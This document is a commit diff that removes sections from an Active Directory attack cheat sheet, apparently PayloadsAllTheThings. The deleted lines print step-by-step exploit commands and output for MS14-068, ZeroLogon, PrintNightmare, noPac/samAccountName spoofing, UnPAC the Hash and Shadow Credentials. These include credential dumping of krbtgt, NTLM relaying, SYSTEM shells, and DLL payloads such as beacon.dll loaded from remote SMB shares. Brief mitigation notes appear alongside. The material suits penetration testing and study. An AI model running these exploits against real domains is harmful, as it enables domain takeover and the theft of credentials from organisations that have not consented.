AD - Pages v0.5
parent
9711ac25cb
commit
1ecb9fd021
|
@ -5,20 +5,11 @@
|
|||
- [Active Directory Attacks](#active-directory-attacks)
|
||||
- [Summary](#summary)
|
||||
- [Tools](#tools)
|
||||
- [From CVE to SYSTEM shell on DC](#from-cve-to-system-shell-on-dc)
|
||||
- [MS14-068 Checksum Validation](#ms14-068-checksum-validation)
|
||||
- [ZeroLogon](#zerologon)
|
||||
- [PrintNightmare](#printnightmare)
|
||||
- [samAccountName spoofing](#samaccountname-spoofing)
|
||||
- [User Hunting](#user-hunting)
|
||||
- [UnPAC The Hash](#unpac-the-hash)
|
||||
- [Shadow Credentials](#shadow-credentials)
|
||||
- [Trust relationship between domains](#trust-relationship-between-domains)
|
||||
- [Child Domain to Forest Compromise - SID Hijacking](#child-domain-to-forest-compromise---sid-hijacking)
|
||||
- [Forest to Forest Compromise - Trust Ticket](#forest-to-forest-compromise---trust-ticket)
|
||||
- [Privileged Access Management (PAM) Trust](#privileged-access-management-pam-trust)
|
||||
- [Kerberos Bronze Bit Attack - CVE-2020-17049](#kerberos-bronze-bit-attack---cve-2020-17049)
|
||||
- [PrivExchange attack](#privexchange-attack)
|
||||
- [References](#references)
|
||||
|
||||
## Tools
|
||||
|
@ -108,403 +99,6 @@
|
|||
```
|
||||
|
||||
|
||||
## From CVE to SYSTEM shell on DC
|
||||
|
||||
> Sometimes you will find a Domain Controller without the latest patches installed, use the newest CVE to gain a SYSTEM shell on it. If you have a "normal user" shell on the DC you can also try to elevate your privileges using one of the methods listed in [Windows - Privilege Escalation](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md)
|
||||
|
||||
|
||||
### MS14-068 Checksum Validation
|
||||
|
||||
This exploit require to know the user SID, you can use `rpcclient` to remotely get it or `wmi` if you have an access on the machine.
|
||||
|
||||
* RPCClient
|
||||
```powershell
|
||||
rpcclient $> lookupnames john.smith
|
||||
john.smith S-1-5-21-2923581646-3335815371-2872905324-1107 (User: 1)
|
||||
```
|
||||
* WMI
|
||||
```powershell
|
||||
wmic useraccount get name,sid
|
||||
Administrator S-1-5-21-3415849876-833628785-5197346142-500
|
||||
Guest S-1-5-21-3415849876-833628785-5197346142-501
|
||||
Administrator S-1-5-21-297520375-2634728305-5197346142-500
|
||||
Guest S-1-5-21-297520375-2634728305-5197346142-501
|
||||
krbtgt S-1-5-21-297520375-2634728305-5197346142-502
|
||||
lambda S-1-5-21-297520375-2634728305-5197346142-1110
|
||||
```
|
||||
* Powerview
|
||||
```powershell
|
||||
Convert-NameToSid high-sec-corp.localkrbtgt
|
||||
S-1-5-21-2941561648-383941485-1389968811-502
|
||||
```
|
||||
* CrackMapExec: `crackmapexec ldap DC1.lab.local -u username -p password -k --get-sid`
|
||||
|
||||
```bash
|
||||
Doc: https://github.com/gentilkiwi/kekeo/wiki/ms14068
|
||||
```
|
||||
|
||||
Generate a ticket with `metasploit` or `pykek`
|
||||
|
||||
```powershell
|
||||
Metasploit: auxiliary/admin/kerberos/ms14_068_kerberos_checksum
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
DOMAIN LABDOMAIN.LOCAL yes The Domain (upper case) Ex: DEMO.LOCAL
|
||||
PASSWORD P@ssw0rd yes The Domain User password
|
||||
RHOSTS 10.10.10.10 yes The target address range or CIDR identifier
|
||||
RPORT 88 yes The target port
|
||||
Timeout 10 yes The TCP timeout to establish connection and read data
|
||||
USER lambda yes The Domain User
|
||||
USER_SID S-1-5-21-297520375-2634728305-5197346142-1106 yes The Domain User SID, Ex: S-1-5-21-1755879683-3641577184-3486455962-1000
|
||||
```
|
||||
|
||||
```powershell
|
||||
# Alternative download: https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek
|
||||
$ git clone https://github.com/SecWiki/windows-kernel-exploits
|
||||
$ python ./ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr> -p <clearPassword>
|
||||
$ python ./ms14-068.py -u darthsidious@lab.adsecurity.org -p TheEmperor99! -s S-1-5-21-1473643419-774954089-2222329127-1110 -d adsdc02.lab.adsecurity.org
|
||||
$ python ./ms14-068.py -u john.smith@pwn3d.local -s S-1-5-21-2923581646-3335815371-2872905324-1107 -d 192.168.115.10
|
||||
$ python ms14-068.py -u user01@metasploitable.local -d msfdc01.metasploitable.local -p Password1 -s S-1-5-21-2928836948-3642677517-2073454066
|
||||
-1105
|
||||
[+] Building AS-REQ for msfdc01.metasploitable.local... Done!
|
||||
[+] Sending AS-REQ to msfdc01.metasploitable.local... Done!
|
||||
[+] Receiving AS-REP from msfdc01.metasploitable.local... Done!
|
||||
[+] Parsing AS-REP from msfdc01.metasploitable.local... Done!
|
||||
[+] Building TGS-REQ for msfdc01.metasploitable.local... Done!
|
||||
[+] Sending TGS-REQ to msfdc01.metasploitable.local... Done!
|
||||
[+] Receiving TGS-REP from msfdc01.metasploitable.local... Done!
|
||||
[+] Parsing TGS-REP from msfdc01.metasploitable.local... Done!
|
||||
[+] Creating ccache file 'TGT_user01@metasploitable.local.ccache'... Done!
|
||||
```
|
||||
|
||||
Then use `mimikatz` to load the ticket.
|
||||
|
||||
```powershell
|
||||
mimikatz.exe "kerberos::ptc c:\temp\TGT_darthsidious@lab.adsecurity.org.ccache"
|
||||
```
|
||||
|
||||
|
||||
#### Mitigations
|
||||
|
||||
* Ensure the DCPromo process includes a patch QA step before running DCPromo that checks for installation of KB3011780. The quick and easy way to perform this check is with PowerShell: get-hotfix 3011780
|
||||
|
||||
|
||||
### ZeroLogon
|
||||
|
||||
> CVE-2020-1472
|
||||
|
||||
White Paper from Secura : https://www.secura.com/pathtoimg.php?id=2055
|
||||
|
||||
Exploit steps from the white paper
|
||||
|
||||
1. Spoofing the client credential
|
||||
2. Disabling signing and sealing
|
||||
3. Spoofing a call
|
||||
4. Changing a computer's AD password to null
|
||||
5. From password change to domain admin
|
||||
6. :warning: reset the computer's AD password in a proper way to avoid any Deny of Service
|
||||
|
||||
* `cve-2020-1472-exploit.py` - Python script from [dirkjanm](https://github.com/dirkjanm)
|
||||
```powershell
|
||||
# Check (https://github.com/SecuraBV/CVE-2020-1472)
|
||||
proxychains python3 zerologon_tester.py DC01 172.16.1.5
|
||||
|
||||
$ git clone https://github.com/dirkjanm/CVE-2020-1472.git
|
||||
|
||||
# Activate a virtual env to install impacket
|
||||
$ python3 -m venv venv
|
||||
$ source venv/bin/activate
|
||||
$ pip3 install .
|
||||
|
||||
# Exploit the CVE (https://github.com/dirkjanm/CVE-2020-1472/blob/master/cve-2020-1472-exploit.py)
|
||||
proxychains python3 cve-2020-1472-exploit.py DC01 172.16.1.5
|
||||
|
||||
# Find the old NT hash of the DC
|
||||
proxychains secretsdump.py -history -just-dc-user 'DC01$' -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'CORP/DC01$@DC01.CORP.LOCAL'
|
||||
|
||||
# Restore password from secretsdump
|
||||
# secretsdump will automatically dump the plaintext machine password (hex encoded)
|
||||
# when dumping the local registry secrets on the newest version
|
||||
python restorepassword.py CORP/DC01@DC01.CORP.LOCAL -target-ip 172.16.1.5 -hexpass e6ad4c4f64e71cf8c8020aa44bbd70ee711b8dce2adecd7e0d7fd1d76d70a848c987450c5be97b230bd144f3c3
|
||||
deactivate
|
||||
```
|
||||
|
||||
* `nccfsas` - .NET binary for Cobalt Strike's execute-assembly
|
||||
```powershell
|
||||
git clone https://github.com/nccgroup/nccfsas
|
||||
# Check
|
||||
execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local
|
||||
|
||||
# Resetting the machine account password
|
||||
execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local -reset
|
||||
|
||||
# Testing from a non Domain-joined machine
|
||||
execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local -patch
|
||||
|
||||
# Now reset the password back
|
||||
```
|
||||
|
||||
* `Mimikatz` - 2.2.0 20200917 Post-Zerologon
|
||||
```powershell
|
||||
privilege::debug
|
||||
# Check for the CVE
|
||||
lsadump::zerologon /target:DC01.LAB.LOCAL /account:DC01$
|
||||
|
||||
# Exploit the CVE and set the computer account's password to ""
|
||||
lsadump::zerologon /target:DC01.LAB.LOCAL /account:DC01$ /exploit
|
||||
|
||||
# Execute dcsync to extract some hashes
|
||||
lsadump::dcsync /domain:LAB.LOCAL /dc:DC01.LAB.LOCAL /user:krbtgt /authuser:DC01$ /authdomain:LAB /authpassword:"" /authntlm
|
||||
lsadump::dcsync /domain:LAB.LOCAL /dc:DC01.LAB.LOCAL /user:Administrator /authuser:DC01$ /authdomain:LAB /authpassword:"" /authntlm
|
||||
|
||||
# Pass The Hash with the extracted Domain Admin hash
|
||||
sekurlsa::pth /user:Administrator /domain:LAB /rc4:HASH_NTLM_ADMIN
|
||||
|
||||
# Use IP address instead of FQDN to force NTLM with Windows APIs
|
||||
# Reset password to Waza1234/Waza1234/Waza1234/
|
||||
# https://github.com/gentilkiwi/mimikatz/blob/6191b5a8ea40bbd856942cbc1e48a86c3c505dd3/mimikatz/modules/kuhl_m_lsadump.c#L2584
|
||||
lsadump::postzerologon /target:10.10.10.10 /account:DC01$
|
||||
```
|
||||
|
||||
* `CrackMapExec` - only check
|
||||
```powershell
|
||||
crackmapexec smb 10.10.10.10 -u username -p password -d domain -M zerologon
|
||||
```
|
||||
|
||||
A 2nd approach to exploit zerologon is done by relaying authentication.
|
||||
|
||||
This technique, [found by dirkjanm](https://dirkjanm.io/a-different-way-of-abusing-zerologon), requires more prerequisites but has the advantage of having no impact on service continuity.
|
||||
The following prerequisites are needed:
|
||||
* A domain account
|
||||
* One DC running the `PrintSpooler` service
|
||||
* Another DC vulnerable to zerologon
|
||||
|
||||
* `ntlmrelayx` - from Impacket and any tool such as [`printerbug.py`](https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py)
|
||||
```powershell
|
||||
# Check if one DC is running the PrintSpooler service
|
||||
rpcdump.py 10.10.10.10 | grep -A 6 "spoolsv"
|
||||
|
||||
# Setup ntlmrelay in one shell
|
||||
ntlmrelayx.py -t dcsync://DC01.LAB.LOCAL -smb2support
|
||||
|
||||
#Trigger printerbug in 2nd shell
|
||||
python3 printerbug.py 'LAB.LOCAL'/joe:Password123@10.10.10.10 10.10.10.12
|
||||
```
|
||||
|
||||
### PrintNightmare
|
||||
|
||||
> CVE-2021-1675 / CVE-2021-34527
|
||||
|
||||
The DLL will be stored in `C:\Windows\System32\spool\drivers\x64\3\`.
|
||||
The exploit will execute the DLL either from the local filesystem or a remote share.
|
||||
|
||||
Requirements:
|
||||
* **Spooler Service** enabled (Mandatory)
|
||||
* Server with patches < June 2021
|
||||
* DC with `Pre Windows 2000 Compatibility` group
|
||||
* Server with registry key `HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint\NoWarningNoElevationOnInstall` = (DWORD) 1
|
||||
* Server with registry key `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA` = (DWORD) 0
|
||||
|
||||
|
||||
**Detect the vulnerability**:
|
||||
* Impacket - [rpcdump](https://raw.githubusercontent.com/SecureAuthCorp/impacket/master/examples/rpcdump.py)
|
||||
```ps1
|
||||
python3 ./rpcdump.py @10.0.2.10 | egrep 'MS-RPRN|MS-PAR'
|
||||
Protocol: [MS-RPRN]: Print System Remote Protocol
|
||||
```
|
||||
* [It Was All A Dream](https://github.com/byt3bl33d3r/ItWasAllADream)
|
||||
```ps1
|
||||
git clone https://github.com/byt3bl33d3r/ItWasAllADream
|
||||
cd ItWasAllADream && poetry install && poetry shell
|
||||
itwasalladream -u user -p Password123 -d domain 10.10.10.10/24
|
||||
docker run -it itwasalladream -u username -p Password123 -d domain 10.10.10.10
|
||||
```
|
||||
|
||||
**Payload Hosting**:
|
||||
* The payload can be hosted on Impacket SMB server since [PR #1109](https://github.com/SecureAuthCorp/impacket/pull/1109):
|
||||
```ps1
|
||||
python3 ./smbserver.py share /tmp/smb/
|
||||
```
|
||||
* Using [Invoke-BuildAnonymousSMBServer](https://github.com/3gstudent/Invoke-BuildAnonymousSMBServer/blob/main/Invoke-BuildAnonymousSMBServer.ps1) (Admin rights required on host):
|
||||
```ps1
|
||||
Import-Module .\Invoke-BuildAnonymousSMBServer.ps1; Invoke-BuildAnonymousSMBServer -Path C:\Share -Mode Enable
|
||||
```
|
||||
* Using WebDav with [SharpWebServer](https://github.com/mgeeky/SharpWebServer) (Doesn't require admin rights):
|
||||
```ps1
|
||||
SharpWebServer.exe port=8888 dir=c:\users\public verbose=true
|
||||
```
|
||||
When using WebDav instead of SMB, you must add `@[PORT]` to the hostname in the URI, e.g.: `\\172.16.1.5@8888\Downloads\beacon.dll`
|
||||
WebDav client **must** be activated on exploited target. By default it is not activated on Windows workstations (you have to `net start webclient`) and it's not installed on servers. Here is how to detect activated webdav:
|
||||
```ps1
|
||||
cme smb -u user -p password -d domain.local -M webdav [TARGET]
|
||||
```
|
||||
|
||||
**Trigger the exploit**:
|
||||
|
||||
* [SharpNightmare](https://github.com/cube0x0/CVE-2021-1675)
|
||||
```powershell
|
||||
# require a modified Impacket: https://github.com/cube0x0/impacket
|
||||
python3 ./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\\192.168.1.215\smb\addCube.dll'
|
||||
python3 ./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 'C:\addCube.dll'
|
||||
## LPE
|
||||
SharpPrintNightmare.exe C:\addCube.dll
|
||||
## RCE using existing context
|
||||
SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_addb31f9bff9e936\Amd64\UNIDRV.DLL' '\\192.168.1.20'
|
||||
## RCE using runas /netonly
|
||||
SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL' '\\192.168.1.10' hackit.local domain_user Pass123
|
||||
```
|
||||
* [Invoke-Nightmare](https://github.com/calebstewart/CVE-2021-1675)
|
||||
```powershell
|
||||
## LPE only (PS1 + DLL)
|
||||
Import-Module .\cve-2021-1675.ps1
|
||||
Invoke-Nightmare # add user `adm1n`/`P@ssw0rd` in the local admin group by default
|
||||
Invoke-Nightmare -DriverName "Dementor" -NewUser "d3m3nt0r" -NewPassword "AzkabanUnleashed123*"
|
||||
Invoke-Nightmare -DLL "C:\absolute\path\to\your\bindshell.dll"
|
||||
```
|
||||
* [Mimikatz v2.2.0-20210709+](https://github.com/gentilkiwi/mimikatz/releases)
|
||||
```powershell
|
||||
## LPE
|
||||
misc::printnightmare /server:DC01 /library:C:\Users\user1\Documents\mimispool.dll
|
||||
## RCE
|
||||
misc::printnightmare /server:CASTLE /library:\\10.0.2.12\smb\beacon.dll /authdomain:LAB /authuser:Username /authpassword:Password01 /try:50
|
||||
```
|
||||
* [PrintNightmare - @outflanknl](https://github.com/outflanknl/PrintNightmare)
|
||||
```powershell
|
||||
PrintNightmare [target ip or hostname] [UNC path to payload Dll] [optional domain] [optional username] [optional password]
|
||||
```
|
||||
|
||||
**Debug informations**
|
||||
|
||||
| Error | Message | Debug |
|
||||
|--------|---------------------|------------------------------------------|
|
||||
| 0x5 | `rpc_s_access_denied` | Permissions on the file in the SMB share |
|
||||
| 0x525 | `ERROR_NO_SUCH_USER` | The specified account does not exist. |
|
||||
| 0x180 | unknown error code | Share is not SMB2 |
|
||||
|
||||
|
||||
### samAccountName spoofing
|
||||
|
||||
> During S4U2Self, the KDC will try to append a '\$' to the computer name specified in the TGT, if the computer name is not found. An attacker can create a new machine account with the sAMAccountName set to a domain controller's sAMAccountName - without the '\$'. For instance, suppose there is a domain controller with a sAMAccountName set to 'DC\$'. An attacker would then create a machine account with the sAMAccountName set to 'DC'. The attacker can then request a TGT for the newly created machine account. After the TGT has been issued by the KDC, the attacker can rename the newly created machine account to something different, e.g. JOHNS-PC. The attacker can then perform S4U2Self and request a ST to itself as any user. Since the machine account with the sAMAccountName set to 'DC' has been renamed, the KDC will try to find the machine account by appending a '$', which will then match the domain controller. The KDC will then issue a valid ST for the domain controller.
|
||||
|
||||
**Requirements**
|
||||
|
||||
* MachineAccountQuota > 0
|
||||
|
||||
**Check for exploitation**
|
||||
|
||||
0. Check the MachineAccountQuota of the account
|
||||
```powershell
|
||||
crackmapexec ldap 10.10.10.10 -u username -p 'Password123' -d 'domain.local' --kdcHost 10.10.10.10 -M MAQ
|
||||
StandIn.exe --object ms-DS-MachineAccountQuota=*
|
||||
```
|
||||
1. Check if the DC is vulnerable
|
||||
```powershell
|
||||
crackmapexec smb 10.10.10.10 -u '' -p '' -d domain -M nopac
|
||||
```
|
||||
|
||||
**Exploitation**
|
||||
|
||||
0. Create a computer account
|
||||
```powershell
|
||||
impacket@linux> addcomputer.py -computer-name 'ControlledComputer$' -computer-pass 'ComputerPassword' -dc-host DC01 -domain-netbios domain 'domain.local/user1:complexpassword'
|
||||
|
||||
powermad@windows> . .\Powermad.ps1
|
||||
powermad@windows> $password = ConvertTo-SecureString 'ComputerPassword' -AsPlainText -Force
|
||||
powermad@windows> New-MachineAccount -MachineAccount "ControlledComputer" -Password $($password) -Domain "domain.local" -DomainController "DomainController.domain.local" -Verbose
|
||||
|
||||
sharpmad@windows> Sharpmad.exe MAQ -Action new -MachineAccount ControlledComputer -MachinePassword ComputerPassword
|
||||
```
|
||||
1. Clear the controlled machine account `servicePrincipalName` attribute
|
||||
```ps1
|
||||
impacket@linux> addspn.py -u 'domain\user' -p 'password' -t 'ControlledComputer$' -c DomainController
|
||||
|
||||
powershell@windows> . .\Powerview.ps1
|
||||
powershell@windows> Set-DomainObject "CN=ControlledComputer,CN=Computers,DC=domain,DC=local" -Clear 'serviceprincipalname' -Verbose
|
||||
```
|
||||
2. (CVE-2021-42278) Change the controlled machine account `sAMAccountName` to a Domain Controller's name without the trailing `$`
|
||||
```ps1
|
||||
# https://github.com/SecureAuthCorp/impacket/pull/1224
|
||||
impacket@linux> renameMachine.py -current-name 'ControlledComputer$' -new-name 'DomainController' -dc-ip 'DomainController.domain.local' 'domain.local'/'user':'password'
|
||||
|
||||
powermad@windows> Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "DomainController" -Attribute samaccountname -Verbose
|
||||
```
|
||||
3. Request a TGT for the controlled machine account
|
||||
```ps1
|
||||
impacket@linux> getTGT.py -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController':'ComputerPassword'
|
||||
|
||||
cmd@windows> Rubeus.exe asktgt /user:"DomainController" /password:"ComputerPassword" /domain:"domain.local" /dc:"DomainController.domain.local" /nowrap
|
||||
```
|
||||
4. Reset the controlled machine account sAMAccountName to its old value
|
||||
```ps1
|
||||
impacket@linux> renameMachine.py -current-name 'DomainController' -new-name 'ControlledComputer$' 'domain.local'/'user':'password'
|
||||
|
||||
powermad@windows> Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "ControlledComputer" -Attribute samaccountname -Verbose
|
||||
```
|
||||
5. (CVE-2021-42287) Request a service ticket with `S4U2self` by presenting the TGT obtained before
|
||||
```ps1
|
||||
# https://github.com/SecureAuthCorp/impacket/pull/1202
|
||||
impacket@linux> KRB5CCNAME='DomainController.ccache' getST.py -self -impersonate 'DomainAdmin' -spn 'cifs/DomainController.domain.local' -k -no-pass -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController'
|
||||
|
||||
cmd@windows> Rubeus.exe s4u /self /impersonateuser:"DomainAdmin" /altservice:"ldap/DomainController.domain.local" /dc:"DomainController.domain.local" /ptt /ticket:[Base64 TGT]
|
||||
```
|
||||
6. DCSync: `KRB5CCNAME='DomainAdmin.ccache' secretsdump.py -just-dc-user 'krbtgt' -k -no-pass -dc-ip 'DomainController.domain.local' @'DomainController.domain.local'`
|
||||
|
||||
Automated exploitation:
|
||||
|
||||
* [cube0x0/noPac](https://github.com/cube0x0/noPac) - Windows
|
||||
```powershell
|
||||
noPac.exe scan -domain htb.local -user user -pass 'password123'
|
||||
noPac.exe -domain htb.local -user domain_user -pass 'Password123!' /dc dc.htb.local /mAccount demo123 /mPassword Password123! /service cifs /ptt
|
||||
noPac.exe -domain htb.local -user domain_user -pass "Password123!" /dc dc.htb.local /mAccount demo123 /mPassword Password123! /service ldaps /ptt /impersonate Administrator
|
||||
```
|
||||
* [Ridter/noPac](https://github.com/Ridter/noPac) - Linux
|
||||
```ps1
|
||||
python noPac.py 'domain.local/user' -hashes ':31d6cfe0d16ae931b73c59d7e0c089c0' -dc-ip 10.10.10.10 -use-ldap -dump
|
||||
```
|
||||
* [WazeHell/sam-the-admin](https://github.com/WazeHell/sam-the-admin)
|
||||
```ps1
|
||||
$ python3 sam_the_admin.py "domain/user:password" -dc-ip 10.10.10.10 -shell
|
||||
[*] Selected Target dc.caltech.white
|
||||
[*] Total Domain Admins 11
|
||||
[*] will try to impersonat gaylene.dreddy
|
||||
[*] Current ms-DS-MachineAccountQuota = 10
|
||||
[*] Adding Computer Account "SAMTHEADMIN-11$"
|
||||
[*] MachineAccount "SAMTHEADMIN-11$" password = EhFMT%mzmACL
|
||||
[*] Successfully added machine account SAMTHEADMIN-11$ with password EhFMT%mzmACL.
|
||||
[*] SAMTHEADMIN-11$ object = CN=SAMTHEADMIN-11,CN=Computers,DC=caltech,DC=white
|
||||
[*] SAMTHEADMIN-11$ sAMAccountName == dc
|
||||
[*] Saving ticket in dc.ccache
|
||||
[*] Resting the machine account to SAMTHEADMIN-11$
|
||||
[*] Restored SAMTHEADMIN-11$ sAMAccountName to original value
|
||||
[*] Using TGT from cache
|
||||
[*] Impersonating gaylene.dreddy
|
||||
[*] Requesting S4U2self
|
||||
[*] Saving ticket in gaylene.dreddy.ccache
|
||||
[!] Launching semi-interactive shell - Careful what you execute
|
||||
C:\Windows\system32>whoami
|
||||
nt authority\system
|
||||
```
|
||||
* [ly4k/Pachine](https://github.com/ly4k/Pachine)
|
||||
```powershell
|
||||
usage: pachine.py [-h] [-scan] [-spn SPN] [-impersonate IMPERSONATE] [-domain-netbios NETBIOSNAME] [-computer-name NEW-COMPUTER-NAME$] [-computer-pass password] [-debug] [-method {SAMR,LDAPS}] [-port {139,445,636}] [-baseDN DC=test,DC=local]
|
||||
[-computer-group CN=Computers,DC=test,DC=local] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] -dc-host hostname [-dc-ip ip]
|
||||
[domain/]username[:password]
|
||||
$ python3 pachine.py -dc-host dc.domain.local -scan 'domain.local/john:Passw0rd!'
|
||||
$ python3 pachine.py -dc-host dc.domain.local -spn cifs/dc.domain.local -impersonate administrator 'domain.local/john:Passw0rd!'
|
||||
$ export KRB5CCNAME=$PWD/administrator@domain.local.ccache
|
||||
$ impacket-psexec -k -no-pass 'domain.local/administrator@dc.domain.local'
|
||||
```
|
||||
|
||||
**Mitigations**:
|
||||
* [KB5007247 - Windows Server 2012 R2](https://support.microsoft.com/en-us/topic/november-9-2021-kb5007247-monthly-rollup-2c3b6017-82f4-4102-b1e2-36f366bf3520)
|
||||
* [KB5008601 - Windows Server 2016](https://support.microsoft.com/en-us/topic/november-14-2021-kb5008601-os-build-14393-4771-out-of-band-c8cd33ce-3d40-4853-bee4-a7cc943582b9)
|
||||
* [KB5008602 - Windows Server 2019](https://support.microsoft.com/en-us/topic/november-14-2021-kb5008602-os-build-17763-2305-out-of-band-8583a8a3-ebed-4829-b285-356fb5aaacd7)
|
||||
* [KB5007205 - Windows Server 2022](https://support.microsoft.com/en-us/topic/november-9-2021-kb5007205-os-build-20348-350-af102e6f-cc7c-4cd4-8dc2-8b08d73d2b31)
|
||||
* [KB5008102](https://support.microsoft.com/en-us/topic/kb5008102-active-directory-security-accounts-manager-hardening-changes-cve-2021-42278-5975b463-4c95-45e1-831a-d120004e258e)
|
||||
* [KB5008380](https://support.microsoft.com/en-us/topic/kb5008380-authentication-updates-cve-2021-42287-9dafac11-e0d0-4cb8-959a-143bd0201041)
|
||||
|
||||
|
||||
|
||||
## User Hunting
|
||||
|
||||
Sometimes you need to find a machine where a specific user is logged in.
|
||||
|
@ -530,90 +124,6 @@ You can remotely query every machines on the network to get a list of the users'
|
|||
Invoke-UserHunter -Stealth
|
||||
```
|
||||
|
||||
|
||||
## UnPAC The Hash
|
||||
|
||||
Using the **UnPAC The Hash** method, you can retrieve the NT Hash for an User via its certificate.
|
||||
|
||||
* Windows
|
||||
```ps1
|
||||
# Request a ticket using a certificate and use /getcredentials to retrieve the NT hash in the PAC.
|
||||
Rubeus.exe asktgt /getcredentials /user:"TARGET_SAMNAME" /certificate:"BASE64_CERTIFICATE" /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show
|
||||
```
|
||||
* Linux
|
||||
```ps1
|
||||
# Obtain a TGT by validating a PKINIT pre-authentication
|
||||
$ gettgtpkinit.py -cert-pfx "PATH_TO_CERTIFICATE" -pfx-pass "CERTIFICATE_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"
|
||||
|
||||
# Use the session key to recover the NT hash
|
||||
$ export KRB5CCNAME="TGT_CCACHE_FILE" getnthash.py -key 'AS-REP encryption key' 'FQDN_DOMAIN'/'TARGET_SAMNAME'
|
||||
```
|
||||
|
||||
|
||||
## Shadow Credentials
|
||||
|
||||
> Add **Key Credentials** to the attribute `msDS-KeyCredentialLink` of the target user/computer object and then perform Kerberos authentication as that account using PKINIT to obtain a TGT for that user. When trying to pre-authenticate with PKINIT, the KDC will check that the authenticating user has knowledge of the matching private key, and a TGT will be sent if there is a match.
|
||||
|
||||
:warning: User objects can't edit their own `msDS-KeyCredentialLink` attribute while computer objects can. Computer objects can edit their own msDS-KeyCredentialLink attribute but can only add a KeyCredential if none already exists
|
||||
|
||||
**Requirements**:
|
||||
* Domain Controller on (at least) Windows Server 2016
|
||||
* Domain must have Active Directory `Certificate Services` and `Certificate Authority` configured
|
||||
* PKINIT Kerberos authentication
|
||||
* An account with the delegated rights to write to the `msDS-KeyCredentialLink` attribute of the target object
|
||||
|
||||
**Exploitation**:
|
||||
- From Windows, use [Whisker](https://github.com/eladshamir/Whisker):
|
||||
```powershell
|
||||
# Lists all the entries of the msDS-KeyCredentialLink attribute of the target object.
|
||||
Whisker.exe list /target:computername$
|
||||
# Generates a public-private key pair and adds a new key credential to the target object as if the user enrolled to WHfB from a new device.
|
||||
Whisker.exe add /target:"TARGET_SAMNAME" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /path:"cert.pfx" /password:"pfx-password"
|
||||
Whisker.exe add /target:computername$ [/domain:constoso.local /dc:dc1.contoso.local /path:C:\path\to\file.pfx /password:P@ssword1]
|
||||
# Removes a key credential from the target object specified by a DeviceID GUID.
|
||||
Whisker.exe remove /target:computername$ /domain:constoso.local /dc:dc1.contoso.local /remove:2de4643a-2e0b-438f-a99d-5cb058b3254b
|
||||
```
|
||||
|
||||
- From Linux, use [pyWhisker](https://github.com/ShutdownRepo/pyWhisker):
|
||||
```bash
|
||||
# Lists all the entries of the msDS-KeyCredentialLink attribute of the target object.
|
||||
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "list"
|
||||
# Generates a public-private key pair and adds a new key credential to the target object as if the user enrolled to WHfB from a new device.
|
||||
pywhisker.py -d "FQDN_DOMAIN" -u "user1" -p "CERTIFICATE_PASSWORD" --target "TARGET_SAMNAME" --action "list"
|
||||
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "add" --filename "test1"
|
||||
# Removes a key credential from the target object specified by a DeviceID GUID.
|
||||
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "remove" --device-id "a8ce856e-9b58-61f9-8fd3-b079689eb46e"
|
||||
```
|
||||
|
||||
**Scenario**:
|
||||
|
||||
- **Scenario 1**: Shadow Credential relaying
|
||||
- Trigger an NTLM authentication from `DC01` (PetitPotam)
|
||||
- Relay it to `DC02` (ntlmrelayx)
|
||||
- Edit `DC01`'s attribute to create a Kerberos PKINIT pre-authentication backdoor (pywhisker)
|
||||
- Alternatively : `ntlmrelayx -t ldap://dc02 --shadow-credentials --shadow-target 'dc01$'`
|
||||
|
||||
- **Scenario 2**: Workstation Takeover with RBCD
|
||||
```ps1
|
||||
# Only for C2: Add Reverse Port Forward from 8081 to Team Server 81
|
||||
|
||||
# Set up ntlmrelayx to relay authentication from target workstation to DC
|
||||
proxychains python3 ntlmrelayx.py -t ldaps://dc1.ez.lab --shadow-credentials --shadow-target ws2\$ --http-port 81
|
||||
|
||||
# Execute printer bug to trigger authentication from target workstation
|
||||
proxychains python3 printerbug.py ez.lab/matt:Password1\!@ws2.ez.lab ws1@8081/file
|
||||
|
||||
# Get a TGT using the newly acquired certificate via PKINIT
|
||||
proxychains python3 gettgtpkinit.py ez.lab/ws2\$ ws2.ccache -cert-pfx /opt/impacket/examples/T12uyM5x.pfx -pfx-pass 5j6fNfnsU7BkTWQOJhpR
|
||||
|
||||
# Get a ST (service ticket) for the target account
|
||||
proxychains python3 gets4uticket.py kerberos+ccache://ez.lab\\ws2\$:ws2.ccache@dc1.ez.lab cifs/ws2.ez.lab@ez.lab administrator@ez.lab administrator_tgs.ccache -v
|
||||
|
||||
# Utilize the ST for future activity
|
||||
export KRB5CCNAME=/opt/pkinittools/administrator_ws2.ccache
|
||||
proxychains python3 wmiexec.py -k -no-pass ez.lab/administrator@ws2.ez.lab
|
||||
```
|
||||
|
||||
## Trust relationship between domains
|
||||
|
||||
* One-way
|
